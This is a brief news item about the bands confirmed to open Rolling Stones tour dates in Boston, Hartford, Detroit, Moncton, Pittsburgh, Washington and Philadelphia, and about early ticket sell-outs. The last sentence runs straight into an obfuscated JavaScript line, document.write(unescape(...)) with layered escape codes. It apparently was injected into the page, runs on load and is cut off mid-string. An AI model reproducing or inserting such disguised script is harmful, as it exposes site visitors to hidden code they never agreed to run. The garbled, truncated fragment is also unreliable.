Pearl Jam, Mayer, Peas to open for Stones

John Mayer Trio, Black Eyed Peas and Maroon 5 are among the first wave of acts confirmed to open shows on the Rolling Stones' upcoming On Stage tour.

Black Eyed Peas will open the tour's opening Aug. 21/23 stand at Boston's Fenway Park, while Maroon 5 takes over for an Aug. 26 show in Hartford, Conn., and an Aug. 31 date at Detroit's Comerica Park.

That group will be joined by the Tragically Hip for a Sept. 3 show in Moncton, N.B., while Pearl Jam will open a Sept. 28 engagement in Pittsburgh, marking its first appearance with the Stones since 1997.

Mayer's trio, the lineup of which was not immediately available, will make its live debut opening shows on Oct. 3 in Washington, D.C., and Oct. 10 in Philadelphia.

The Stones blew through the first round of ticket on sales last weekend, selling out gigs in Boston, Washington, D.C., Atlanta, Miami, Charlotte, N.C., and Calgary.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
